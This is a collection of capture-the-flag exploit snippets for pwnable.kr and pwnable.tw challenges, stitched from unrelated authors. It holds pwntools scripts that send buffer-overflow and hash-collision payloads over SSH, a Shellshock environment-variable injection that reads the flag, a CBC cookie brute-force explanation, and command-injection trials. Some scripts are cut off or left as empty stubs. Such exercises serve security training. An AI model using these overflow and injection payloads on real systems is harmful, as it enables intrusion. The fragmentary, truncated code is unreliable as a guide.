spnow

from pwn import *
sh = ssh(host='pwnable.kr', user='passcode', password='guest', port=2222)
proc = sh.process('/home/passcode/passcode')
print proc.recv(1024)
proc.sendline('a'*96+'\x04\xa0\x04\x08')
print proc.recv(1024)
proc.sendline('134514147')
print proc.recvuntil(':(')

from pwn import *
sh = ssh(host='pwnable.kr', user='col', password='guest', port=2222)
proc = sh.process(['/home/col/col', '\xc8\xce\xc5\x06'*4+'\xcc\xce\xc5\x06'])
print proc.recv(1024)

from pwn import *
sh = ssh(host='pwnable.kr', user='random', password='guest', port=2222)
proc = sh.process('/home/random/random')
proc.sendline('3039230856')
print proc.recv(1024)

env x='() { :;}; /bin/cat flag' ./shellshock

It should be executed in ssh shellshock@pwnable.kr -p 2222 not in your computer

from pwn import *
sh = remote('pwnable.kr', 9007)
sh.recv(10024)
for _ in range(100):
	tmp = sh.recv(1024).strip().split(' ')
	n = int(tmp[0].split('=')[1])
	c = int(tmp[1].split('=')[1])
	s = 0
	e = n

#You can download bin in here

First same as title(warmup) it's really easy.
First I'll assump there are no ASLR.
We have to call easy function to get shell.
We can call it by this payload

(python -c 'print "a"*0x48+"\x0d\x06\x40\x00\x00\x00\x00\x00"';cat) | ./warmup

Pwnable.kr crypto1 writeup

ihciah@gmail.com

In this challenge we can input username and password, then the server return an encrypted string of {username}-{password}-{cookie} in which the cookie is not known.

Since CBC is used, each 32 word in encrypted string is encrypted by last block and 16 word in original string.

So let's enter "A"*16 as username, and enter different password, the first 32 word of the encrypted data is the same.

So we can brute-force the cookie through trying each bit of cookie.

	cmd2@ubuntu:~$ ./cmd2 'echo 1'
	echo 1
	1
	cmd2@ubuntu:~$ ./cmd2 'echo $(echo 1)'
	echo $(echo 1)
	1
	cmd2@ubuntu:~$ ./cmd2 'echo $(echo '\57')'
	echo $(echo 57)
	57
	cmd2@ubuntu:~$ ./cmd2 'echo $(echo '\\57')'

	#!/usr/bin/python

	#ABDELJALIL NOUIRI
	#author : abdel001nouiri@gmail.com

	from pwn import *


	HOST = 'chall.pwnable.tw'
	PORT = 10000

	#!/usr/bin/python

	#author : Abdeljalil Nouiri


	from pwn import *

	context.arch= "amd64"
	context.os = "linux"